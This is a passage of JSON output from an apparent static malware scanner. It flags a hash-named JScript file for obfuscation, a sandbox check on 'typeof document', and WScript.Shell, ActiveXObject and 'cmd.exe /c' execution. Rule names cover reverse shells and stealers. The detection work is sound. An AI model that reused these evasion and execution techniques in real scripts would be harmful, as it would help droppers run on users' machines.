[ 10879, "wirsefjalde" ], [ 10924, "91241" ], [ 10925, "91241" ], [ 11041, "31053" ], [ 11042, "31053" ], [ 11139, "13165" ], [ 11140, "13165" ], [ 11224, "uzytn" ], [ 11225, "uzytn" ], [ 11376, "number" ], [ 11377, "number" ], [ 11420, "29973" ], [ 11421, "29973" ], [ 11463, "66389" ], [ 11464, "66389" ], [ 11704, "number" ], [ 11705, "number" ], [ 11832, "60935" ] ], "sz": 18963, "ts": [ { "c": 1.0, "d": "Regex component marker", "e": [ "uqilwykqo = true;" ], "i": "micro-behaviors/process/create/shell/injection::iot-param-injection-cond-2--inline-3976", "l": 1 }, { "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "t.Sh" ], "i": "objectives/execution/interpreter/scripting/host::wscript-shell-split-join--rx-3", "l": 1 }, { "a": "T1497.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "eval" ], "i": "objectives/anti-analysis/timing/timer::js-newdate-then-eval--rx-5", "l": 1 }, { "a": "T1497.001", "c": 0.75, "d": "Assigns typeof document to variable", "e": [ "rxenluga = typeof document" ], "i": "objectives/anti-analysis/environment-detect/wsh::env-check-no-document-var", "l": 1, "m": "B0003" }, { "c": 0.800000011920929, "d": "JScript file type (WScript host)", "e": [ "WScript" ], "i": "micro-behaviors/process/interpreter/jscript::is-jscript", "l": 1 }, { "a": "T1027.003", "c": 1.0, "d": "JavaScript or TypeScript source file extension", "e": [ "20170222_8971850d582ef58c23e954503d21f321.js" ], "i": "objectives/anti-static/obfuscation/payload/container::js-source-extension", "l": 1, "m": "B0032" }, { "c": 0.800000011920929, "d": "Instantiates WScript.Shell object", "e": [ "WScript.Shell" ], "i": "micro-behaviors/os/wsh/file::wscript-shell-object", "l": 3 }, { "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "crip" ], "i": "objectives/execution/interpreter/scripting/host::wscript-shell-split-join--rx-2", "l": 1 }, { "a": "T1027", "c": 0.75, "d": "Many no-param functions", "e": [ "functions.no_params_count = 55.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/functions::many-no-param-functions", "l": 2, "m": "B0032" }, { "a": "T1059", "c": 0.75, "d": "Regex component marker", "e": [ "10." ], "i": "objectives/command-and-control/reverse-shell/socket::rfc1918-host-string--rx-1", "l": 1 }, { "c": 1.0, "d": "JavaScript file basename", "e": [ "20170222_8971850d582ef58c23e954503d21f321.js" ], "i": "metadata/lang/encoded/unicode-escape::javascript-or-dll-basename", "l": 2 }, { "a": "T1048.003", "c": 0.949999988079071, "d": "Regex component marker", "e": [ "live" ], "i": "objectives/supply-chain/recon-exfil/dns::dns-lookup-with-canary-domain--rx-6", "l": 1, "m": "E1041" }, { "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "length" ], "i": "objectives/anti-static/obfuscation/syntax::js-eval-word-parts--rx-1", "l": 1 }, { "a": "T1027", "c": 1.0, "d": "Many unique import modules", "e": [ "imports.unique_modules = 264.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::imports-unique-modules-50", "l": 1, "m": "B0032" }, { "a": "T1497.001", "c": 0.800000011920929, "d": "Checks for absence of document (WSH context)", "e": [ "typeof document == \"undefined\"" ], "i": "objectives/anti-analysis/environment-detect/wsh::env-check-no-document", "l": 2, "m": "B0003" }, { "c": 0.8199999928474426, "d": "Opaque predicate using literal compare", "e": [ "if (notmawloko() == 206)" ], "i": "objectives/anti-static/obfuscation/control-flow/retry::opaque-predicate-literal-compare", "l": 4 }, { "c": 1.0, "d": "JavaScript many imported modules", "e": [ "imports.unique_modules = 264.00" ], "i": "objectives/anti-static/obfuscation/string/anomaly::js-many-import-modules", "l": 1 }, { "a": "T1027", "c": 0.949999988079071, "d": "Regex component marker", "e": [ "eval" ], "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-then-eval--rx-14", "l": 1, "m": "B0032" }, { "a": "T1036.008", "c": 0.949999988079071, "d": "Filename has .js extension", "e": [ "20170222_8971850d582ef58c23e954503d21f321.js" ], "i": "objectives/evasion/masquerade/extension/shebang::js-extension-name", "l": 1, "m": "F0008" }, { "c": 0.800000011920929, "d": "Function returns variable string value", "e": [ "eloluzx", "uhsazci", "fyjyzn", "uqtazuks", "oxibat", "zige", "ruqjaw", "adovo" ], "i": "objectives/anti-static/obfuscation/string/reconstruct::function-returns-variable-string", "l": 3 }, { "c": 0.75, "d": "Indirect string replacement call", "e": [ "[epbogfuno](irdildow, skacli)" ], "i": "objectives/anti-static/obfuscation/string/recovery::js-indirect-replace-call", "l": 1 }, { "c": 0.949999988079071, "d": "eval/Function call inside flatted-shaped file", "e": [ "eval(" ], "i": "well-known/lib/flatted::flatted-tamper-eval", "l": 1 }, { "a": "T1497.001", "c": 0.75, "d": "Compares value against undefined string", "e": [ "== \"undefined\"" ], "i": "objectives/anti-analysis/environment-detect/wsh::env-check-undefined-compare", "l": 1, "m": "B0003" }, { "c": 0.8500000238418579, "d": "ActiveXObject usage (JScript/VBScript)", "e": [ "ActiveXObject(" ], "i": "objectives/command-and-control/dropper/builder::activex-object-dup", "l": 1 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Low string density base64 context", "e": [ "text.string_density = 0.50" ], "i": "objectives/anti-static/obfuscation/code-metrics/string-blob::js-base64-candidate-low-string-density", "l": 1, "m": "B0032" }, { "c": 0.9599999785423279, "d": "Regex component marker", "e": [ "undefined" ], "i": "well-known/malware/stealer/ottercookie::base91-const-array--rx-1", "l": 1 }, { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 746.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "c": 0.9599999785423279, "d": "Regex component marker", "e": [ "length" ], "i": "well-known/malware/stealer/ottercookie::base91-const-array--rx-2", "l": 1 }, { "c": 1.0, "d": "XOR bitwise operator in expression", "e": [ "lO^aDF" ], "i": "micro-behaviors/data/source/syntax/keyword::js-keyword-xor", "l": 2 }, { "c": 0.800000011920929, "d": "WScript.Shell object string", "e": [ "WScript.Shell" ], "i": "micro-behaviors/os/com/object::wscript-shell-literal", "l": 3 }, { "a": "T1202", "c": 0.800000011920929, "d": "new ActiveXObject pattern", "e": [ "new ActiveXObject(" ], "i": "objectives/execution/activex/com::activex-object-create-literal", "l": 3, "m": "E1243" }, { "c": 0.949999988079071, "d": "Large bundled JavaScript graph", "e": [ "imports.unique_modules = 264.00" ], "i": "metadata/library/structure::js-large-module-bundle", "l": 2 }, { "c": 0.8999999761581421, "d": "ActiveXObject instantiation call", "e": [ "new ActiveXObject(" ], "i": "objectives/execution/interpreter/script/wsh::activexobject-call", "l": 1 }, { "c": 0.8500000238418579, "d": "Execute commands via cmd.exe /c", "e": [ "cmd.exe /c" ], "i": "micro-behaviors/process/create/shell/invoke::cmd-exe-c-command", "l": 3 }, { "c": 0.8799999952316284, "d": "Indirect bracketed WScript command invocation", "e": [ "awicbyni[epbogfuno](irdildow, skacli)" ], "i": "micro-behaviors/process/create/shell/wsh::wscript-shell-run-indirect", "l": 1 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Large import graph base64 context", "e": [ "imports.unique_modules = 264.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/string-blob::js-base64-candidate-large-import-graph", "l": 1, "m": "B0032" }, { "c": 1.0, "d": "Infinite loop structure (e.g. for(;;) or while(1))", "e": [ "while (1)" ], "i": "micro-behaviors/data/control-flow/loop::infinite-loop-header", "l": 2 }, { "c": 1.0, "d": "ActiveXObject string presence", "e": [ "ActiveXObject" ], "i": "micro-behaviors/process/interpreter/jscript::activex-object", "l": 3 }, { "a": "T1553.004", "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "undefined" ], "i": "objectives/evasion/security-bypass/tls::check-server-identity-bypass--rx-9", "l": 1 }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 982.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1027", "c": 0.8399999737739563, "d": "Decoded property function alias", "e": [ "var qodu = accycgo[bgucamp]" ], "i": "objectives/supply-chain/hidden-payload/trojan::decoded-property-function-alias", "l": 1, "m": "B0032" }, { "a": "T1056", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "document" ], "i": "objectives/credential-access/email/webmail/hidden-autofill::username-password-read--rx-5", "l": 1 }, { "c": 1.0, "d": "Tiny WScript.Shell fragment (variant 2a)", "e": [ "WScri" ], "i": "objectives/execution/interpreter/script/wsh-fragments::wscript-shell-fragment-tiny-2a", "l": 1 }, { "c": 0.8199999928474426, "d": "Parallel token arrays for substitution", "e": [ "var accycgo = [egjofvo, lynadzi, xato, aqov, idnax, owcek, zikwytm, ajmukol, izjyxu, edrexyf, umacymn, qyrlab, dipo, lbyvtipa]" ], "i": "objectives/anti-static/obfuscation/string/recovery::js-parallel-token-arrays", "l": 4 }, { "c": 1.0, "d": "Tiny WScript.Shell fragment (variant 2b)", "e": [ "ipt.S" ], "i": "objectives/execution/interpreter/script/wsh-fragments::wscript-shell-fragment-tiny-2b", "l": 1 }, { "c": 0.4000000059604645, "d": "cmd.exe Windows command shell reference", "e": [ "CMD.eXe" ], "i": "objectives/execution/interpreter/script/shell::cmd-exe-dup", "l": 1 }, { "a": "T1497.001", "c": 0.9200000166893005, "d": "WSH execution gated on document absence", "e": [ "WScript.Shell", "rxenluga = typeof document", "== \"undefined\"" ], "i": "objectives/anti-analysis/environment-detect/wsh::wsh-document-absence-gate", "l": 4, "m": "B0003" }, { "c": 0.8999999761581421, "d": "Obfuscated WScript.Shell Run invocation", "e": [ "awicbyni[epbogfuno](irdildow, skacli)", "WScript.Shell" ], "i": "micro-behaviors/process/create/shell/wsh::wscript-shell-run-obfuscated", "l": 3 } ], "sha": "cbf38c3316cc02b28ef188e0e7c1b519a56f14d1dfd5a2bdcf8e4dec695f3bea", "path": "20170222_8971850d582ef58c23e954503d21f321.js", "type": "javascript" } ], "tv": "db300" } }